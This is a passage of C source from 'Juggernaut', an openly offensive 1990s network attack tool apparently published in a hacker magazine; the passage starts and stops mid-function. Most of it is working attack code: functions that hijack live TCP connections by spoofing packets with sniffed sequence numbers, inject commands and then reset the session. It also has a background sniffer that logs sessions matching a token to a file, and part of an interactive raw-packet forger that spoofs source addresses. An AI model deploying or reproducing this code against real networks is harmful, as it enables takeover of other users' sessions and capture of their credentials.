    extern int netreadtimeout;
    static int len;
    char *tempBuf;
    int tlinksock=tap(DEVICE);

    ALIGNNETPOINTERS();

    bzero(&tpack,sizeof(tpack));

    len=strlen(commandbuf)+1;			
    bcopy(commandbuf,tpack.payload,len--);
    sin.sin_family=AF_INET;
    sin.sin_port=target->sport;     
    sin.sin_addr.s_addr=target->daddr;

    tpack.tcp.source=target->sport;
    tpack.tcp.dest=target->dport;
    tpack.tcp.doff=5;
    tpack.tcp.ack=1;
    tpack.tcp.psh=1; 
    tpack.tcp.window=htons(242); 

    tpack.ip.version=4;   
    tpack.ip.ihl=5; 
    tpack.ip.tot_len=htons(IPHDR+TCPHDR+len);	
    tpack.ip.ttl=64;
    tpack.ip.protocol=IPPROTO_TCP; 

    tpack.ip.saddr=target->saddr; 
    tpack.ip.daddr=target->daddr; 

    tempBuf=(char *)malloc(PHDR+TCPHDR+len);    /* Check me out y0 */
    ppheader=(struct psuedoHeader *)tempBuf;


    ppheader->saddr=tpack.ip.saddr;
    ppheader->daddr=tpack.ip.daddr;
    ppheader->null=0;
    ppheader->prot=IPPROTO_TCP;
    ppheader->tlen=htons(TCPHDR+len);
 
    fprintf(stderr,"(simplex) Hijacking connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
 
    if(setjmp(env)){                            /* Timeout */
        if(verbosity)fprintf(stderr,"Quiet connection, try again later. [soft error, returning]\n");
        return;
    }
    signal(SIGALRM,nettimeout);
    alarm(0);
    alarm(netreadtimeout);                      /* Wait 10 seconds for reply */
 
    while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
        tpack.tcp.seq=tcphp->ack_seq;
        tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);   

        bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
        tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);

	sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));

	fprintf(stderr,"Command inserted, connection desynched.\n");
	sleep(JCKRST);	        /* Don't reset the connection too quickly, or 
                                   our command may not complete */
	crst(target);
        close(tlinksock);
        /* free(tempBuf);  	XXX */
	break;
    }
}

/*
 *  Hijack.  Desynchs the server from the client.  The resulting ACK storm 
 *  makes things very difficult.
 */

void chijack(target)
struct connectionInfo *target;
{

    void nettimeout();
    void seizure();
    char *hostLookup(unsigned long);
    unsigned short in_cksum(unsigned short *,int);
   

    struct tpack{
        struct iphdr ip;
        struct tcphdr tcp;
        char payload[2*BUFSIZE];
    }tpack;

    struct psuedoHeader{
        unsigned long saddr;
        unsigned long daddr;
        unsigned char null;
        unsigned char prot;
        unsigned short tlen;
    }*ppheader;                

    struct sockaddr_in sin;

    char buf[10*MINIBUF];
    char *tempBuf=0;

    extern int ripsock;	
    extern int netreadtimeout;
    extern int sigsentry;
    static int len;
    int tlinksock=tap(DEVICE);			
    
    ALIGNNETPOINTERS();

    bzero(&tpack,sizeof(tpack));

    sin.sin_family=AF_INET;
    sin.sin_port=target->sport;     
    sin.sin_addr.s_addr=target->daddr;

    tpack.tcp.source=target->sport;
    tpack.tcp.dest=target->dport;
    tpack.tcp.doff=5;
    tpack.tcp.ack=1;
    tpack.tcp.psh=1;
    tpack.tcp.window=htons(1024);

    tpack.ip.version=4;
    tpack.ip.ihl=5; 
    tpack.ip.ttl=64; 
    tpack.ip.protocol=IPPROTO_TCP;

    tpack.ip.saddr=target->saddr; 
    tpack.ip.daddr=target->daddr;

    tempBuf=(char *)malloc(PHDR+TCPHDR+len);
    ppheader=(struct psuedoHeader *)tempBuf;

    ppheader->saddr=tpack.ip.saddr;
    ppheader->daddr=tpack.ip.daddr;
    ppheader->null=0;
    ppheader->prot=IPPROTO_TCP;

    signal(SIGINT,seizure);

    fprintf(stderr,"Hijacking connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
    fprintf(stderr,"'ctrl-c' when you are finished (this will RST the connection).\n"); 
    fprintf(stderr,"juggernaut>");

    fgets(buf,sizeof(buf),stdin);

    len=strlen(buf)+1;			
    bcopy(buf,tpack.payload,len--);

    tpack.ip.tot_len=htons(IPHDR+TCPHDR+len);		
    ppheader->tlen=htons(TCPHDR+len);

    if(setjmp(env)){
        if(verbosity)fprintf(stderr,"Quiet connection, try again later. [soft error, returning]\n");
        return;
    }
    signal(SIGALRM,nettimeout);
    alarm(0);
    alarm(netreadtimeout);  
                            /* Here we setup the initial hijack state.  We 
                               need to desynch the connection, and the next 
                               packet that comes by will be the catalyst. */
    while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
        tpack.tcp.seq=tcphp->ack_seq;
        tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);   

        bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
        tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);
    
	sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));
	break;              
    }                   
                            
    alarm(0);
    while(sigsentry){                               /* Main hijack loop */
	if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
	    if(!tcphp->psh)continue;        /* If this is not data, ignore it */
            dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp),0);

            bzero(&buf,sizeof(buf));
	    fgets(buf,sizeof(buf),stdin);
            
            if(!buf[1])continue;        /* No input data (CR) */ 

	    len=strlen(buf)+1;			
	    bcopy(buf,tpack.payload,len--);
            tpack.tcp.psh=1;
            tpack.tcp.check=0;                              
            tpack.ip.check=0; 

            tpack.ip.tot_len=htons(IPHDR+TCPHDR+len); 

            tpack.tcp.seq=tcphp->ack_seq;
            tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);   

            ppheader->tlen=htons(TCPHDR+len);         
            bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
            tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);

	    sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));
        }
    }
    crst(target);
    /*free(tempBuf);        XXX */
    close(tlinksock);
}


/*
 *  Packet sniffer parses TCP packets for token.  Logs that packet, along with
 *  the next 'enticement` number of packets.  Not really all that robust.
 */

void bloodhound(token,enticementfactor)
char *token;
int enticementfactor;
{

    void parsep(char *,int,FILE *);
    void shadow();
    char *hostLookup(unsigned long);

    FILE *fp=0;                         
    time_t tp=0;

    int length=0;
    int grabflag=0;                     /* Time to grab some packets */
    unsigned long targetsourceip=0;
    unsigned short targetsourceport=0;
    int tlinksock=tap(DEVICE);          

    if(!(fp=fopen(SNIFLOG,"a+"))){      /* Log to file */
        if(verbosity){
            fprintf(stderr,"Cannot open file for logging. [fatal]\n");
            fprintf(stderr,"[cr]");
        }
        exit(0);
    }

    ALIGNNETPOINTERS();

    fprintf(stderr,"\nDropping to background, sniffing for smarmy tidbits...\n");

    shadow();                           /* Dropped to the background */
    fprintf(stderr,"\nSend a SIGKILL to %d when you are thorugh.\n",getpid());
 
    fprintf(fp,"\n---------------------------------------------------------------------\n[ Juggernaut bloodhound module log: token == '%s' ]\n",token);
    time(&tp);
    fprintf(fp,"[ Log started:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
    fflush(fp);
    
    while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP){
        length=htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp);

        if((!grabflag)&&(strstr((epack.payload-2),token))){   
            grabflag=enticementfactor;                           
            targetsourceip=iphp->saddr;                          
            targetsourceport=tcphp->source;
            fprintf(fp,"\n\t %s [%d]\t<-->\t %s [%d]\n",hostLookup(iphp->saddr),ntohs(tcphp->source),hostLookup(iphp->daddr),ntohs(tcphp->dest));
            parsep(epack.payload-2,length,fp);
        }                
        if(grabflag){                   /* We have a session marked and are
                                           logging it */
            if(iphp->daddr==targetsourceip&&tcphp->dest==targetsourceport){
                parsep(epack.payload-2,length,fp);
                grabflag--;
            }
        }        
    }
    /* NOTREACHED */
}


/* 
 *  Packet parser.  Print the packet out...
 */

void parsep(payload,length,fp)
char *payload;
int length;
FILE *fp;
{
    register int tickytacky=0;

    for(tickytacky=0;tickytacky<length;tickytacky++){
        if(payload[tickytacky]==0xd){        /* newline characater */
            fprintf(fp,"\n");
            continue;
        }
        if(isprint(payload[tickytacky]))fprintf(fp,"%c",payload[tickytacky]);
    }
    fflush(fp);
}


/*
 *  Handles network timeouts.
 */

void nettimeout(){

    alarm(0);
    longjmp(env,1);
}
<-->
<++> Juggernaut/NumberOneCrush/prometheus.c
/*
 *
 *                                  Juggernaut
 *                                  Version b2
 *
 *                            1996/7 Guild productions
 *                           daemon9[guild|phrack|r00t]
 *
 *                         comments to route@infonexus.com
 *
 *  This coding project made possible by a grant from the Guild corporation
 * 
 *  prometheus.c - the packet assemby workshop module.  Each of the main 
 *  packet assembly subfunctions will end up calling the ip assembler to build
 *  the IP portion and send it (them) out.
 *
 *  Too many dependencies in menu.c 
 *
 *  Shout out to Nirva for some suggestions/help.  Nirva rules, BTW.  I love 
 *  Nirva.  You should too.
 *
 */


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <netinet/in.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#include <linux/icmp.h>
#include <linux/if_ether.h>
#include <linux/if.h>
 
#define MINIBUF     10  
#define BUFSIZE     512
#define ETHHDR      14
#define PHDR        12
#define TCPHDR      20
#define UDPHDR      8
#define IPHDR       20

#define NOTRANSPORT     0x00
#define TCPTRANSPORT    0x01
#define UDPTRANSPORT    0x02
#define ICMPTRANSPORT   0x04

struct tpak{			/* TCP packet */
    struct tcphdr tcp;
    char payload[BUFSIZE];
}tpack;

struct upak{			/* UDP packet */
    struct udphdr udp;
    char payload[BUFSIZE];
}upack;

struct ipak{			/* ICMP packet */
    struct icmphdr icmp;
    char payload[BUFSIZE];
}ipack;

struct rippak{     		/* IP packet */
    struct iphdr ip;
    char payload[BUFSIZE+20];   /* Payload + transport header */
}rippack;

int woe;                        /* Global var to let us know where to return 
                                   to... */
extern int verbosity;

				/* This will change when IP/TCP options are 
                                   implemented... */
#define RIPPACKETSIZE 552	/* IP header + transport header of up to 20 
                                   bytes + 512 byte payload */

int prometheus(type)
int type;
{
    void tcpa();
    void udpa();
    void icmpa();
    void igmpa();
    void ripa(int);

    bzero(&rippack,sizeof(rippack));
    woe=0;

    switch(type){
        case 1:
	    tcpa();		/* TCP */
	    break;
	case 2:
	    udpa();		/* UDP */
	    break;
	case 3:				
	    icmpa();		/* ICMP */
	    break;
	case 4:
	    ripa(NOTRANSPORT);	/* RAW IP with no transport and no payload */	
	    break;
	case 5:
	    return(woe=1);      /* Done assembling packets */
	default:
	    break;              /* bad input -- not done */			
    }
    return(woe);
}


/* 
 *  TCP assembler
 */

void tcpa(){

    void ripa(int);
    void mwipe();
    void mpktatcp(int,unsigned short,unsigned short,unsigned long,unsigned long,char *,unsigned short,char *);

    char buf[2*MINIBUF];
    unsigned long val;
    int packetready=0;		/* flag bits */
    char data[4*MINIBUF]={0},flags[MINIBUF]={0},filename[4*MINIBUF]={0};
    int i,j,fd,loopsentry=1;

    bzero(&tpack,sizeof(tpack));

    srandom((unsigned)time(0)); /* seed psuedo random number generator */ 

    while(loopsentry){
        mwipe();	
	mpktatcp(packetready,ntohs(tpack.tcp.source),ntohs(tpack.tcp.dest),ntohl(tpack.tcp.seq),ntohl(tpack.tcp.ack_seq),flags,ntohs(tpack.tcp.window),data);
                    
        fgets(buf,sizeof(buf),stdin);
        if(!(val=atoi(buf)))continue;
        switch(val){
            case 1:         /* Source Port */
 	        fprintf(stderr,"\nSource Port (0 - 65535) [qr] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='r'){
		    tpack.tcp.source=htons(random()&0xffff);
		    packetready|=0x01;
		    break;
		}
                if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){
		    if(packetready&0x01)packetready^=0x01;	/* Clear flag 
                                                                   if set */
		    tpack.tcp.source=0;
		    break;
		}
		tpack.tcp.source=htons(val);
		packetready|=0x01;
		break;
            case 2:         /* Destination Port */
	        fprintf(stderr,"\nDestination Port (0 - 65535) [qr] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='r'){
		    tpack.tcp.dest=htons(random()&0xffff);
		    packetready|=0x02;
		    break;
		}
                if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){
		    if(packetready&0x02)packetready^=0x02;
		    tpack.tcp.dest=0;
		    break;
		}
		tpack.tcp.dest=htons(val);
		packetready|=0x02;
		break;
            case 3: 	    /* Sequence Number */
	        fprintf(stderr,"\nSequence Number (0 - 4294967295) [qr] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='r'){
		    tpack.tcp.seq=htonl(random());
		    packetready|=0x04;
		    break;
		}
                if(buf[0]=='q'||buf[0]=='-'){                           
		    if(packetready&0x04)packetready^=0x04;		
		    tpack.tcp.seq=0;
		    break;
		}
		tpack.tcp.seq=htonl(strtoul(buf,0,10));
		packetready|=0x04;
		break;
            case 4:         /* Acknowledgement Number */
	        fprintf(stderr,"\nAcknowledgement Number (0 - 4294967295) [qr] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='r'){
		    tpack.tcp.ack_seq=htonl(random());
		    packetready|=0x08;
		    break;
		}
                if(buf[0]=='q'||buf[0]=='-'){
		    if(packetready&0x08)packetready^=0x08;
		    tpack.tcp.ack_seq=0;
		    break;
		}
		tpack.tcp.ack_seq=htonl(strtoul(buf,0,10));
		packetready|=0x08;
		break;
	    case 5:         /* Control Flags */
	        i=0;
		bzero(flags,sizeof(flags));
	        fprintf(stderr,"\nURG? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x10)packetready^=0x10;
		    tpack.tcp.urg=0;
		    break;
		}
	        if(buf[0]=='y'){
		    tpack.tcp.urg=1;
		    flags[i++]='U';
		}
		fprintf(stderr,"\nACK? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x10)packetready^=0x10;		
		    tpack.tcp.ack=0;
		    break;
		}
		if(buf[0]=='y'){
		    tpack.tcp.ack=1;
		    flags[i++]='A';
		}
		fprintf(stderr,"\nPSH? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x10)packetready^=0x10;
		    tpack.tcp.psh=0;
		    break;
		}
		if(buf[0]=='y'){
		    tpack.tcp.psh=1;
		    flags[i++]='P';
		}
		fprintf(stderr,"\nRST? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x10)packetready^=0x10;	
		    tpack.tcp.rst=0;
		    break;
		}
		if(buf[0]=='y'){
		    tpack.tcp.rst=1;
		    flags[i++]='R';
		}
		fprintf(stderr,"\nSYN? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x10)packetready^=0x10;
		    tpack.tcp.syn=0;
		    break;
		}
		if(buf[0]=='y'){
		    tpack.tcp.syn=1;
		    flags[i++]='S';
		}
		fprintf(stderr,"\nFIN? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
	        if(buf[0]=='q'){
		    if(packetready&0x10)packetready^=0x10;		
		    tpack.tcp.fin=0;
		    break;
		}
		if(buf[0]=='y'){
		    tpack.tcp.fin=1;
		    flags[i++]='F';
	        }
		if(!flags[0])strcpy(flags,"none set");
		packetready|=0x10;
		break;
            case 6:     /* Window Size */
	        fprintf(stderr,"\nWindow Size (0 - 65535) [qr] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='r'){
		    tpack.tcp.window=htons(random()&0xffff);
		    packetready|=0x20;
		    break;
		}
                if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){
		    if(packetready&0x20)packetready^=0x20;
		    tpack.tcp.window=0;
		    break;
		}
		tpack.tcp.window=htons(val);
		packetready|=0x20;
		break;
            case 7:     /* Data payload */
	        bzero(data,sizeof(data));
		bzero(tpack.payload,sizeof(tpack.payload));
		bzero(filename,sizeof(filename));
		fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='c'){	/* Input from command line */
		    fprintf(stderr,"\nEnter Payload [q] >");
		    fgets(tpack.payload,sizeof(tpack.payload),stdin);
		    strncpy(data,tpack.payload,sizeof(data));
		    packetready|=0x40;
		    break;
		}
		if(buf[0]=='f'){	/* Input from file */
		    fprintf(stderr,"\nFilename [q] >");
		    if(buf[0]==0x0a||buf[0]=='q')break;
		    fgets(filename,sizeof(filename),stdin);
		    for(i=0;i<4*MINIBUF;i++)if(!filename[i])break;
		    filename[--i]=0;	/* Pesky Newline */
		    if((fd=open(filename,O_RDONLY))<0){
                        if(verbosity){
                            fprintf(stderr,"Cannot open file for reading.\n");
                            fprintf(stderr,"[cr]");
                            getchar();
                        }
			continue;
                    }
                    i=0;
                    j=0;
		    while(i<512){
                        j=read(fd,tpack.payload,sizeof(tpack.payload));
                        if(!j)break;    /* No more bytes ta read */
                        i+=j;
                    }
		    strncpy(data,filename,sizeof(filename));
		    close(fd);
		    packetready|=0x40;
		    break;
       	        }   
		if(packetready&0x40)packetready^=0x40;
		bzero(data,sizeof(data));
		bzero(tpack.payload,sizeof(tpack.payload));
		break;
	    case 8:         /* Return to previous menu */
	        loopsentry=0;
                bzero(&tpack,sizeof(tpack));
		break;
            case 9:         /* Return to Main */
	        loopsentry=0;
                woe=1;
                break;
	    case 10:        /* RIP assembler */
	        if(packetready==0x07f){	    /* AND mask of all the options */
                    tpack.tcp.doff=5;       /* Data offset */
		    ripa(TCPTRANSPORT);	    /* Checksum will be computed in 
                                               ripa */
		    break;
		}
                continue;
	    default:        /* Bad input */
	        continue;
        }
    }
}

/* 
 *  UDP assembler
 */

void udpa(){

    void ripa(int);
    void mwipe();
    void mpktaudp(int,unsigned short,unsigned short,char *);

    char buf[2*MINIBUF];
    unsigned long val;
    int packetready=0;		/* flag bits */
    char data[4*MINIBUF]={0},filename[4*MINIBUF]={0};
    int i=0,j,fd=0,loopsentry=1;

    bzero(&upack,sizeof(upack));

    srandom((unsigned)time(0));

    while(loopsentry){
        mwipe();	

	mpktaudp(packetready,ntohs(upack.udp.source),ntohs(upack.udp.dest),data);
                
	fgets(buf,sizeof(buf),stdin);
        if(!(val=atoi(buf)))continue;
        switch(val){
            case 1:         /* Source Port */
	        fprintf(stderr,"\nSource Port (0 - 65535) [qr] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]==0x0a||buf[0]=='q'){
		    if(packetready&0x01)packetready^=0x01;	
		    upack.udp.source=0;
		    break;
		}
		if(buf[0]=='r'){
		    upack.udp.source=htons(random()&0xffff);
		    packetready|=0x01;
		    break;
		}
		if(!(int)(val=atoi(buf)))break;
	        upack.udp.source=htons(val);
		packetready|=0x01;
		break;
            case 2:	    /* Destination Port */
	        fprintf(stderr,"\nDestination Port (0 - 65535) [qr] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]==0x0a||buf[0]=='q'){
		    if(packetready&0x02)packetready^=0x02;
		    upack.udp.dest=0;
		    break;
		}
		if(buf[0]=='r'){
		    upack.udp.dest=htons(random()&0xffff);
		    packetready|=0x02;
		    break;
                }
		if(!(int)(val=atoi(buf)))break;
		upack.udp.dest=htons(val);
		packetready|=0x02;
		break;
	    case 3:	    /* Data payload */
	        bzero(data,sizeof(data));
	        bzero(upack.payload,sizeof(upack.payload));
		bzero(filename,sizeof(filename));
		fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='c'){	/* Input from command line */
		    fprintf(stderr,"\nEnter Payload [q] >");
		    fgets(upack.payload,sizeof(upack.payload),stdin);
		    strncpy(data,upack.payload,sizeof(data));
		    packetready|=0x04;
		    break;
		}
	        if(buf[0]=='f'){	/* Input from file */
		    fprintf(stderr,"\nFilename [q] >");
		    if(buf[0]==0x0a||buf[0]=='q')break;
		    fgets(filename,sizeof(filename),stdin);
		    for(i=0;i<4*MINIBUF;i++)if(!filename[i])break;
		    filename[--i]=0;
		    if((fd=open(filename,O_RDONLY))<0){
                        if(verbosity){
                            fprintf(stderr,"Cannot open file for reading.\n");
                            fprintf(stderr,"[cr]");
                            getchar();
                        }
			continue;
                    }
                    i=0;
                    j=0;
		    while(i<512){
                        j=read(fd,upack.payload,sizeof(upack.payload));
                        if(!j)break;  
                        i+=j;
                    }
		    strncpy(data,filename,sizeof(filename));
		    close(fd);
		    packetready|=0x04;
		    break;
       	 	}
		if(packetready&0x04)packetready^=0x04;
		bzero(data,sizeof(data));
		bzero(upack.payload,sizeof(upack.payload));
		break;
	    case 4:     /* Return to previous menu */
	        loopsentry=0;
                bzero(&upack,sizeof(upack));
		break;
            case 5:     /* Retuen to Main */
                loopsentry=0;
                woe=1;
                break;
	    case 6:     /* RIP assembler */
	        if(packetready==0x07){		
                    upack.udp.len=htons(UDPHDR+BUFSIZE);
		    ripa(UDPTRANSPORT);		
		    break;
		}
	        continue;
	    default:    /* bad input */
	        continue;   
        }
    }
}

/* 
 *  ICMP assembler
 *  This is no where as robust as it should be.  In fact, it doesn't really 
 *  create legal ICMP packets.  Oh well.  Next version.  I am tired of
 *  packet assembly duldrums...
 */

void icmpa(){

    void ripa(int);
    void mwipe();
    void mpktaicmp(int,unsigned short,unsigned short,char *);

    char buf[2*MINIBUF];
    unsigned long val;
    int packetready=0;		/* flag bits */
    char data[4*MINIBUF]={0},filename[4*MINIBUF]={0};
    int i=0,j,fd=0,loopsentry=1;

    bzero(&ipack,sizeof(ipack));

    while(loopsentry){
        mwipe();	

        mpktaicmp(packetready,ipack.icmp.type,ipack.icmp.code,data);
                
	fgets(buf,sizeof(buf),stdin);
        if(!(val=atoi(buf)))continue;
        switch(val){
            case 1:				/* Type */
	        fprintf(stderr,"\nType (0,3,4,5,8,9,10,11,12,13,14,15,16,17,18) [q] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]==0x0a||buf[0]=='q'){
		    if(packetready&0x01)packetready^=0x01;
		    ipack.icmp.type=0;
		    break;
		}
	        if(!(int)(val=atoi(buf)))break;
		ipack.icmp.type=val;
		packetready|=0x01;
		break;
            case 2:				/* Code */
	        fprintf(stderr,"\nCode (0,1 {2,3}) [q] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]==0x0a||buf[0]=='q'){
		if(packetready&0x02)packetready^=0x02;
		    ipack.icmp.code=0;
		    break;
		}
		if(!(int)(val=atoi(buf)))break;
		ipack.icmp.code=val;
		packetready|=0x02;
		break;
	    case 3:				/* Data payload */
	        bzero(data,sizeof(data));
		bzero(ipack.payload,sizeof(ipack.payload));
		bzero(filename,sizeof(filename));
		fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='c'){	/* Input from command line */
		    fprintf(stderr,"\nEnter Payload [q] >");
		    fgets(ipack.payload,sizeof(ipack.payload),stdin);
		    strncpy(data,ipack.payload,sizeof(data));
		    packetready|=0x04;
		    break;
		}
		if(buf[0]=='f'){	/* Input from file */
		    fprintf(stderr,"\nFilename [q] >");
		    if(buf[0]==0x0a||buf[0]=='q')break;
		    fgets(filename,sizeof(filename),stdin);
		    for(i=0;i<4*MINIBUF;i++)if(!filename[i])break;
		    filename[--i]=0;	
		    if((fd=open(filename,O_RDONLY))<0){
                        if(verbosity){
                            fprintf(stderr,"Cannot open file for reading.\n");
                            fprintf(stderr,"[cr]");
                            getchar();
                        }
		        continue;
                    }
                    i=0;
                    j=0;
                    while(i<512){
                        j=read(fd,upack.payload,sizeof(upack.payload));
                        if(!j)break; 
                        i+=j;
                    }
                    strncpy(data,filename,sizeof(filename));
		    close(fd);
		    packetready|=0x04;
		    break;
       	 	}
		if(packetready&0x04)packetready^=0x04;	
		bzero(data,sizeof(data));
		bzero(ipack.payload,sizeof(ipack.payload));
		break;
	    case 4:	
                loopsentry=0;
	        bzero(&ipack,sizeof(ipack));
		break;
            case 5:
                loopsentry=0;
                woe=1;
                break;
	    case 6: 
	        if(packetready==0x07){	
		    ripa(ICMPTRANSPORT);		
		    break;
		}
		continue;
	    default: 
	        continue;
        }
    }
}


/* 
 *  IP assembler and xmitter.  Transport layer checksum routines thanks to 
 *  Myth (Red, actually).
 */

void ripa(transport)
int transport;
{

    void mwipe();
    void mpktaip(int,char *,char *,unsigned short,unsigned short,char *,char *,int,char *);
    char *hostLookup(unsigned long);
    unsigned long nameResolve(char *);
    unsigned short in_cksum(unsigned short *,int);
    

    char buf[2*MINIBUF];
    unsigned long val;
    char tosflags[MINIBUF]={0},fflags[MINIBUF]={0},packettype[MINIBUF]={0};
    char sip[2*MINIBUF]={0},dip[2*MINIBUF]={0},*tempBuf;
    int packetready=0;              /* flag bits */
    int i=0,j=0,k=0;                /* Counters */
    int loopsentry=1,number=0;

    struct sockaddr_in sin;	 

    struct psuedoHeader{                        
        unsigned long saddr;
        unsigned long daddr;
        unsigned char null;
        unsigned char prot;
        unsigned short tlen;
    }*ppheader;

    extern int ripsock;

    bzero(&rippack,sizeof(rippack));
    bzero((char *)&sin,sizeof(sin));
	
    srandom((unsigned)time(0));   

    while(loopsentry){
        i=0;
        mwipe();
        mpktaip(packetready,tosflags,fflags,ntohs(rippack.ip.frag_off),rippack.ip.ttl,sip,dip,number,packettype);
        
        fgets(buf,sizeof(buf),stdin);
        if(!(val=atoi(buf)))continue;
        switch(val){
            case 1:     /* TOS */
	        bzero(tosflags,sizeof(tosflags));
		fprintf(stderr,"\nMinimize Delay? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x01)packetready^=0x01; 
		    rippack.ip.tos=0;
		    break;
		}
		if(buf[0]=='y'){
		    rippack.ip.tos|=0x10;
		    tosflags[i++]='D';
		}
		fprintf(stderr,"\nMaximize Throughput? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x01)packetready^=0x01; 
		    rippack.ip.tos=0;
		    break;
		}
		if(buf[0]=='y'){
		    rippack.ip.tos|=0x08;
		    tosflags[i++]='T';
		}
		fprintf(stderr,"\nMaximize Reliability? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x01)packetready^=0x01; 
		    rippack.ip.tos=0;
		    break;
		}
		if(buf[0]=='y'){
		    rippack.ip.tos|=0x04;
		    tosflags[i++]='R';
		}
		fprintf(stderr,"\nMinimize Monetary Cost? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x01)packetready^=0x01; 
		    rippack.ip.tos=0;
		    break;
		}
		if(buf[0]=='y'){
		    rippack.ip.tos|=0x02;
		    tosflags[i++]='C';
		}
		if(!tosflags[0])strcpy(tosflags,"none set");
		packetready|=0x01;
		break;
            case 2:			/* Frag Flags */
	        bzero(fflags,sizeof(fflags));
		fprintf(stderr,"\nMore Fragments? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x02)packetready^=0x02; 
		    rippack.ip.frag_off=0;
		    break;
		}
		if(buf[0]=='y'){
		    rippack.ip.frag_off|=htons(0x4000);
		    fflags[i++]='M';
		}
		fprintf(stderr,"\nDon't Fragment? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x02)packetready^=0x02; 
		    rippack.ip.frag_off=0;
		    break;
		}
	        if(buf[0]=='y'){
		    rippack.ip.frag_off|=htons(0x2000);
		    fflags[i++]='D';
		}
                if(!fflags[0])strcpy(fflags,"none set");
		packetready|=0x02;
		break;
            case 3: 		/* Frag Offset */
	        fprintf(stderr,"\nFragment Offset [qr] >");
                fgets(buf,sizeof(buf),stdin);
	        if(buf[0]=='r'){
		    rippack.ip.frag_off|=htons(random()&0x1fff);
		    packetready|=0x04;
		    break;
	        }
                if(buf[0]=='q'||(val=atoi(buf))<0||val>8191){
		    if(packetready&0x04)packetready^=0x04;
		    rippack.ip.frag_off&=~0x3fff;
		    break;
	        }
                rippack.ip.frag_off|=htons(val&0x1fff);
	        packetready|=0x04;
                break;
            case 4:			/* TTL */
                fprintf(stderr,"\nTTL (0 - 255) [qr] >");
                fgets(buf,sizeof(buf),stdin);
	        if(buf[0]=='r'){			
		    rippack.ip.ttl=random()&0xff;
		    packetready|=0x08;
	            break;
	        }
	        if(buf[0]=='q'||(val=atoi(buf))<0||val>255){
		    if(packetready&0x08)packetready^=0x08;
		    rippack.ip.ttl=0;
		    break;
                }
	        rippack.ip.ttl=val;
	        packetready|=0x08;
	        break;
	    case 5:			/* Source Address */
                bzero(sip,sizeof(sip));
	        fprintf(stderr,"\nSource Address [qr] >");
